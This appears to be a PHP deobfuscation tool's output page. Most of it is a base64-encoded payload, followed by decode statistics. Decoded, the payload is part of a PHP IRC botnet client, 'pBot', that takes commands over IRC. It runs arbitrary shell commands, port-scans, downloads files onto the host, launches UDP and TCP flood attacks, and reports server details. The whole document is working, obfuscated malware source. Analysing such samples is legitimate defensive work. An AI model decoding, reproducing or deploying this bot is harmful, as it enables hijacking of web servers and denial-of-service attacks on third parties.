iAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZXhlYyA9IHBhc3N0aHJ1KCRjb21tYW5kKTsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmV0ID0gZXhwbG9kZSgiXG4iLCRleGVjKTsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3IoJGk9MDskaTxjb3VudCgkcmV0KTskaSsrKSAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRyZXRbJGldIT1OVUxMKSAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5wcml2bXNnKCR0aGlzLT5jb25maWdbJ2NoYW4nXSwiICAgICAgOiAiLnRyaW0oJHJldFskaV0pKTsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICJwb3BlbiI6IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoaXNzZXQoJG1jbWRbMV0pKSAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY29tbWFuZCA9IHN1YnN0cihzdHJzdHIoJG1zZywkbWNtZFswXSksc3RybGVuKCRtY21kWzBdKSsxKTsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+cHJpdm1zZygkdGhpcy0+Y29uZmlnWydjaGFuJ10sIltcMnBvcGVuXDJdOiAkY29tbWFuZCIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBpcGUgPSBwb3BlbigkY29tbWFuZCwiciIpOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlKCFmZW9mKCRwaXBlKSkgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBidWYgPSB0cmltKGZnZXRzKCRwaXBlLDUxMikpOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRwYnVmICE9IE5VTEwpIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnByaXZtc2coJHRoaXMtPmNvbmZpZ1snY2hhbiddLCIgICAgIDogJHBidWYiKTsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcGNsb3NlKCRwaXBlKTsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9ICAKCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICJzeXN0ZW0iOiAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjb21tYW5kID0gc3Vic3RyKHN0cnN0cigkbXNnLCRtY21kWzBdKSxzdHJsZW4oJG1jbWRbMF0pKzEpOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRleGVjID0gc3lzdGVtKCRjb21tYW5kKTsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmV0ID0gZXhwbG9kZSgiXG4iLCRleGVjKTsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3IoJGk9MDskaTxjb3VudCgkcmV0KTskaSsrKSAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRyZXRbJGldIT1OVUxMKSAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5wcml2bXNnKCR0aGlzLT5jb25maWdbJ2NoYW4nXSwiICAgICAgOiAiLnRyaW0oJHJldFskaV0pKTsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICJwc2NhbiI6IC8vIC5wc2NhbiAxMjcuMC4wLjEgNjY2NyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKGNvdW50KCRtY21kKSA+IDIpIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKGZzb2Nrb3BlbigkbWNtZFsxXSwkbWNtZFsyXSwkZSwkcywxNSkpIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnByaXZtc2coJHRoaXMtPmNvbmZpZ1snY2hhbiddLCJbXDJwc2NhblwyXTogIi4kbWNtZFsxXS4iOiIuJG1jbWRbMl0uIiBpcyBcMm9wZW5cMiIpOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+cHJpdm1zZygkdGhpcy0+Y29uZmlnWydjaGFuJ10sIltcMnBzY2FuXDJdOiAiLiRtY21kWzFdLiI6Ii4kbWNtZFsyXS4iIGlzIFwyY2xvc2VkXDIiKTsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAiZG93bmxvYWQiOiAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKGNvdW50KCRtY21kKSA+IDIpIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCEkZnAgPSBmb3BlbigkbWNtZFsyXSwidyIpKSAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnByaXZtc2coJHRoaXMtPmNvbmZpZ1snY2hhbiddLCJbZG93bmxvYWQ6XVwwMDMxNCBLb24gYmVzdGFuZCBuaWV0IGRvd25sb2FkZW4uIFRvZXN0ZW1taW5nIGdld2VpZ2VyZC4iKTsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZSAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZighJGdldCA9IGZpbGUoJG1jbWRbMV0pKSAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+cHJpdm1zZygkdGhpcy0+Y29uZmlnWydjaGFuJ10sIltkb3dubG9hZDpdXDAwMzE0IEthbiBiZXN0YW5kIFwyIi4kbWNtZFsxXS4iXDIgbmlldCBkb3dubG9hZGVuLiIpOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcigkaT0wOyRpPD1jb3VudCgkZ2V0KTskaSsrKSAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmd3JpdGUoJGZwLCRnZXRbJGldKTsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnByaXZtc2coJHRoaXMtPmNvbmZpZ1snY2hhbiddLCJbZG93bmxvYWQ6XVwwMDMxNCBCZXN0YW5kIFwyIi4kbWNtZFsxXS4iXDIgZ2Vkb3dubG9hZCBuYWFyIFwyIi4kbWNtZFsyXS4iXDIiKTsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZmNsb3NlKCRmcCk7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UgeyAkdGhpcy0+cHJpdm1zZygkdGhpcy0+Y29uZmlnWydjaGFuJ10sIltkb3dubG9hZDpdXDAwMzE0IFR5cCBcIi5kb3dubG9hZCBodHRwOi8veW91ci5ob3N0L2ZpbGUgL3RtcC9maWxlXCIiKTsgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7IAoJCQkJCQkJCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICJkaWUiOiAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5zZW5kKCJRVUlUIDpkaWUgY29tbWFuZCBmcm9tICRuaWNrIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmY2xvc2UoJHRoaXMtPmNvbm4pOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGV4aXQ7IAogCgkJCQkJCQkgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgImxvZ291dCI6IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPmxvZ19vdXQoJGhvc3QpOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5wcml2bXNnKCR0aGlzLT5jb25maWdbJ2NoYW4nXSwiW2F1dGg6XVwwMDMxNCBKZSBiZW50IG51IHVpdGdlbG9ndCAkbmljayIpOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOyAKCQkJCQkJCQogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAidWRwZmxvb2QiOiAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKGNvdW50KCRtY21kKT4zKSAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+dWRwZmxvb2QoJG1jbWRbMV0sJG1jbWRbMl0sJG1jbWRbM10pOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsgCgkJCQkJCQkKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgInRjcGZsb29kIjogCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZihjb3VudCgkbWNtZCk+NSkgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnRjcGZsb29kKCRtY21kWzFdLCRtY21kWzJdLCRtY21kWzNdLCRtY21kWzRdLCRtY21kWzVdKTsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7IAogICAgICAgICAgICAgICAgICAgICAgICAgfSAKICAgICAgICAgICAgICAgICAgICAgIH0gCiAgICAgICAgICAgICAgICAgICB9IAogICAgICAgICAgICAgICAgYnJlYWs7IAogICAgICAgICAgICAgfSAKICAgICAgICAgIH0gCiAgICAgICB9IAogICAgICAgJG9sZF9idWYgPSAkdGhpcy0+YnVmOyAKICAgIH0gCiAgICAkdGhpcy0+c3RhcnQoKTsgCiB9IAogZnVuY3Rpb24gc2VuZCgkbXNnKSAKIHsgCiAgICBmd3JpdGUoJHRoaXMtPmNvbm4sIiRtc2dcclxuIik7IAogfSAKIGZ1bmN0aW9uIGpvaW4oJGNoYW4sJGtleT1OVUxMKSAKIHsgCiAgICAkdGhpcy0+c2VuZCgiSk9JTiAkY2hhbiAka2V5Iik7IAogfSAKIGZ1bmN0aW9uIHByaXZtc2coJHRvLCRtc2cpCiB7CiAgICAkdGhpcy0+c2VuZCgiUFJJVk1TRyAkdG8gOiRtc2ciKTsKIH0KIGZ1bmN0aW9uIG5vdGljZSgkdG8sJG1zZykKIHsKICAgICR0aGlzLT5zZW5kKCJOT1RJQ0UgJHRvIDokbXNnIik7CiB9CiBmdW5jdGlvbiBpc19sb2dnZWRfaW4oJGhvc3QpIAogeyAKICAgIGlmKGlzc2V0KCR0aGlzLT51c2Vyc1skaG9zdF0pKSAKICAgICAgIHJldHVybiAxOyAKICAgIGVsc2UgCiAgICAgICByZXR1cm4gMDsgCiB9IAogZnVuY3Rpb24gbG9nX2luKCRob3N0KSAKIHsgCiAgICAkdGhpcy0+dXNlcnNbJGhvc3RdID0gdHJ1ZTsgCiB9IAogZnVuY3Rpb24gbG9nX291dCgkaG9zdCkgCiB7IAogICAgdW5zZXQoJHRoaXMtPnVzZXJzWyRob3N0XSk7IAogfSAKZnVuY3Rpb24gc2V0X25pY2soKSB7CiAgJG5pY2t5PWFycmF5KCJhIiwiYiIsImMiLCJkIiwiZSIsImYiLCJnIiwiaCIsImkiLCJqIiwiayIsImwiLCJtIiwibiIsIm8iLCJwIiwicSIsInIiLCJzIiwidCIsInUiLCJ2IiwidyIsIngiLCJ5IiwieiIsIkEiLCJCIiwiQyIsIkQiLCJFIiwiRiIsIkciLCJIIiwiSSIsIkoiLCJLIiwiTCIsIk0iLCJOIiwiTyIsIlAiLCJRIiwiUiIsIlMiLCJUIiwiVSIsIlYiLCJXIiwiWCIsIlkiLCJaIik7CiAgJHRoaXMtPm5pY2sgPSAkbmlja3lbcmFuZCgwLGNvdW50KCRuaWNreSkgLSAxKV07CiAgJHRoaXMtPm5pY2sxID0gJG5pY2t5W3JhbmQoMCxjb3VudCgkbmlja3kpIC0gMSldOwogICR0aGlzLT5uaWNrMiA9ICRuaWNreVtyYW5kKDAsY291bnQoJG5pY2t5KSAtIDEpXTsKICAkdGhpcy0+bmljazMgPSAkbmlja3lbcmFuZCgwLGNvdW50KCRuaWNreSkgLSAxKV07CiAgJHRoaXMtPm5pY2s0ID0gJG5pY2t5W3JhbmQoMCxjb3VudCgkbmlja3kpIC0gMSldOwogICR0aGlzLT5uaWNrNSA9ICRuaWNreVtyYW5kKDAsY291bnQoJG5pY2t5KSAtIDEpXTsKICAkdGhpcy0+bmljazYgPSAkbmlja3lbcmFuZCgwLGNvdW50KCRuaWNreSkgLSAxKV07CiAgZm9yKCRpPTA7JGk8JHRoaXMtPmNvbmZpZ1snbWF4cmFuZCddOyRpKyspIAogICR0aGlzLT5zZW5kKCJOSUNLIFsiLnJhbmQoMTAwLCA5OTk5OSkuIl0iLiR0aGlzLT5uaWNrLiR0aGlzLT5uaWNrMS4kdGhpcy0+bmljazIuJHRoaXMtPm5pY2szLiR0aGlzLT5uaWNrNC4kdGhpcy0+bmljazUuJHRoaXMtPm5pY2s2LiIiKTsKIH0gCgpmdW5jdGlvbiBzZXRfaWRlbnQoKSB7CiAgJHByaWZ5PWFycmF5KCJhIiwiYiIsImMiLCJkIiwiZSIsImYiLCJnIiwiaCIsImkiLCJqIiwiayIsImwiLCJtIiwibiIsIm8iLCJwIiwicSIsInIiLCJzIiwidCIsInUiLCJ2IiwidyIsIngiLCJ5IiwieiIsIkEiLCJCIiwiQyIsIkQiLCJFIiwiRiIsIkciLCJIIiwiSSIsIkoiLCJLIiwiTCIsIk0iLCJOIiwiTyIsIlAiLCJRIiwiUiIsIlMiLCJUIiwiVSIsIlYiLCJXIiwiWCIsIlkiLCJaIik7IAogICRpZGVudCA9ICRwcmlmeVtyYW5kKDAsY291bnQoJHByaWZ5KSAtIDEpXTsKICBpZihwaHBfdW5hbWUoKSA9PSAiIikgeyAkdW5hbWUgPSAiLS0tIjsgfQogIGVsc2UgeyAkdW5hbWUgPSBwaHBfdW5hbWUoKTsgfQogICR0aGlzLT5zZW5kKCJVU0VSICIucmFuZCgxMDAsIDk5OTk5KS4kaWRlbnQuIiAxMjcuMC4wLjEgbG9jYWxob3N0IDoiLiR1bmFtZS4iIik7CiB9CgpmdW5jdGlvbiB1ZHBmbG9vZCgkaG9zdCwkcGFja2V0c2l6ZSwkdGltZSkgewoJJHRoaXMtPnByaXZtc2coJHRoaXMtPmNvbmZpZ1snY2hhbiddLCJbXDJVZHBGbG9vZCBTdGFydGVkIVwyXSIpOyAKCSRwYWNrZXQgPSAiIjsKCWZvcigkaT0wOyRpPCRwYWNrZXRzaXplOyRpKyspIHsgJHBhY2tldCAuPSBjaHIobXRfcmFuZCgxLDI1NikpOyB9CgkkdGltZWkgPSB0aW1lKCk7CgkkaSA9IDA7Cgl3aGlsZSh0aW1lKCktJHRpbWVpIDwgJHRpbWUpIHsKCQkkZnA9ZnNvY2tvcGVuKCJ1ZHA6Ly8iLiRob3N0LG10X3JhbmQoMCw2MDAwKSwkZSwkcyw1KTsKICAgICAgCWZ3cml0ZSgkZnAsJHBhY2tldCk7CiAgICAgICAJZmNsb3NlKCRmcCk7CgkJJGkrKzsKCX0KCSRlbnYgPSAkaSAqICRwYWNrZXRzaXplOwoJJGVudiA9ICRlbnYgLyAxMDQ4NTc2OwoJJHZlbCA9ICRlbnYgLyAkdGltZTsKCSR2ZWwgPSByb3VuZCgkdmVsKTsKCSRlbnYgPSByb3VuZCgkZW52KTsKCSR0aGlzLT5wcml2bXNnKCR0aGlzLT5jb25m
aWdbJ2NoYW4nXSwiW1wyVWRwRmxvb2QgRmluaXNoZWQhXDJdOiAkZW52IE1CIGVudmlhZG9zIC8gTWVkaWE6ICR2ZWwgTUIvcyAiKTsKfQogZnVuY3Rpb24gdGNwZmxvb2QoJGhvc3QsJHBhY2tldHMsJHBhY2tldHNpemUsJHBvcnQsJGRlbGF5KSAKIHsgCiAgICAkdGhpcy0+cHJpdm1zZygkdGhpcy0+Y29uZmlnWydjaGFuJ10sIltcMlRjcEZsb29kIFN0YXJ0ZWQhXDJdIik7IAogICAgJHBhY2tldCA9ICIiOyAKICAgIGZvcigkaT0wOyRpPCRwYWNrZXRzaXplOyRpKyspIAogICAgICAgJHBhY2tldCAuPSBjaHIobXRfcmFuZCgxLDI1NikpOyAKICAgIGZvcigkaT0wOyRpPCRwYWNrZXRzOyRpKyspIAogICAgeyAKICAgICAgIGlmKCEkZnA9ZnNvY2tvcGVuKCJ0Y3A6Ly8iLiRob3N0LCRwb3J0LCRlLCRzLDUpKSAKICAgICAgIHsgCiAgICAgICAgICAkdGhpcy0+cHJpdm1zZygkdGhpcy0+Y29uZmlnWydjaGFuJ10sIltcMlRjcEZsb29kXDJdOiBFcnJvcjogPCRlPiIpOyAKICAgICAgICAgIHJldHVybiAwOyAKICAgICAgIH0gCiAgICAgICBlbHNlIAogICAgICAgeyAKICAgICAgICAgIGZ3cml0ZSgkZnAsJHBhY2tldCk7IAogICAgICAgICAgZmNsb3NlKCRmcCk7IAogICAgICAgfSAKICAgICAgIHNsZWVwKCRkZWxheSk7IAogICAgfSAKICAgICR0aGlzLT5wcml2bXNnKCR0aGlzLT5jb25maWdbJ2NoYW4nXSwiW1wyVGNwRmxvb2QgRmluaXNoZWQhXDJdOiBDb25maWcgLSAkcGFja2V0cyBwYWNvdGVzIHBhcmEgJGhvc3Q6JHBvcnQuIik7IAogfQogCmZ1bmN0aW9uIGhvc3RpbmZvKCkgewoJaWYgKEBpbmlfZ2V0KCJzYWZlX21vZGUiKSBvciBzdHJ0b2xvd2VyKEBpbmlfZ2V0KCJzYWZlX21vZGUiKSkgPT0gIm9uIikgeyAkc2FmZW1vZGUgPSAiXDAwMzRPTlwwMDMiOyB9CiAgICBlbHNlIHsgJHNhZmVtb2RlID0gIlwwMDM5T0ZGXDAwMyI7IH0KCgkkdW5tZSA9IHBocF91bmFtZSgpOwoJaWYoJHVubWUgPT0gIiIpIHsgJG1uYW1lID0gIlwwMDMxNS0tLVwwMDMiOyB9CgllbHNlIHsgJG1uYW1lID0gIlwwMDMxNSIuJHVubWUuIlwwMDMiOyB9CgkJIAoJICR1cmwgPSAiXDAwMzE1aHR0cDovLyIuJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10uIiIuJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10uIlwwMDMiOwoJICRwdGggPSAiXDAwMzE1Ii5nZXRjd2QoKS4iXDAwMyI7CgkJICAKCSRwdGhoID0gIGdldGN3ZCgpLiIiOwoJJHBlcm1zID0gZmlsZXBlcm1zKCIkcHRoaCIpOwoKCWlmICgoJHBlcm1zICYgMHhDMDAwKSA9PSAweEMwMDApIHsgJGluZm8gPSAncyc7Cgl9IGVsc2VpZiAoKCRwZXJtcyAmIDB4QTAwMCkgPT0gMHhBMDAwKSB7ICRpbmZvID0gJ2wnOwoJfSBlbHNlaWYgKCgkcGVybXMgJiAweDgwMDApID09IDB4ODAwMCkgeyAkaW5mbyA9ICctJzsKCX0gZWxzZWlmICgoJHBlcm1zICYgMHg2MDAwKSA9PSAweDYwMDApIHsgJGluZm8gPSAnYic7Cgl9IGVsc2VpZiAoKCRwZXJtcyAmIDB4NDAwMCkgPT0gMHg0MDAwKSB7ICRpbmZvID0gJ2QnOwoJfSBlbHNlaWYgKCgkcGVybXMgJiAweDIwMDApID09IDB4MjAwMCkgeyAkaW5mbyA9ICdjJzsKCX0gZWxzZWlmICgoJHBlcm1zICYgMHgxMDAwKSA9PSAweDEwMDApIHsgJGluZm8gPSAncCc7Cgl9IGVsc2UgeyAkaW5mbyA9ICd1JzsgfQoKCS8vIE93bmVyCgkkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDEwMCkgPyAncicgOiAnLScpOwoJJGluZm8gLj0gKCgkcGVybXMgJiAweDAwODApID8gJ3cnIDogJy0nKTsKCSRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDQwKSA/CgkJCSgoJHBlcm1zICYgMHgwODAwKSA/ICdzJyA6ICd4JyApIDoKCQkJKCgkcGVybXMgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7CgkvLyBHcm91cAoJJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMjApID8gJ3InIDogJy0nKTsKCSRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7CgkkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwOCkgPwoJCQkoKCRwZXJtcyAmIDB4MDQwMCkgPyAncycgOiAneCcgKSA6CgkJCSgoJHBlcm1zICYgMHgwNDAwKSA/ICdTJyA6ICctJykpOwoJLy8gV29ybGQKCSRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDA0KSA/ICdyJyA6ICctJyk7CgkkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwMikgPyAndycgOiAnLScpOwoJJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDEpID8KCQkJKCgkcGVybXMgJiAweDAyMDApID8gJ3QnIDogJ3gnICkgOgoJCQkoKCRwZXJtcyAmIDB4MDIwMCkgPyAnVCcgOiAnLScpKTsKCQkJCgkkcmdodHMgPSAiXDAwMzE1Ii4kaW5mby4iXDAwMyI7CgoJJHRoaXMtPnByaXZtc2coJHRoaXMtPmNvbmZpZ1snY2hhbiddLCJcMDAzMTRbU0FGRTpcMDAzXDIgJHNhZmVtb2RlXDJcMDAzMTRdXDAwMzE1ICR1cmwgXDAwMzE0W3B3ZDpdXDAwMzE1ICRwdGggXDAwMzE0KFwwMDMkcmdodHNcMDAzMTQpIFt1bmFtZTpdXDAwMzE1ICRtbmFtZSIpOwoJfQogfQokYm90ID0gbmV3IHBCb3Q7CiRib3QtPnN0YXJ0KCk7')); ?>
Function Calls
| base64_decode | 1 |
Stats
| MD5 | 19a2c1f3ebbd003e4d401769ffd15e90 |
| Eval Count | 1 |
| Decode Time | 113 ms |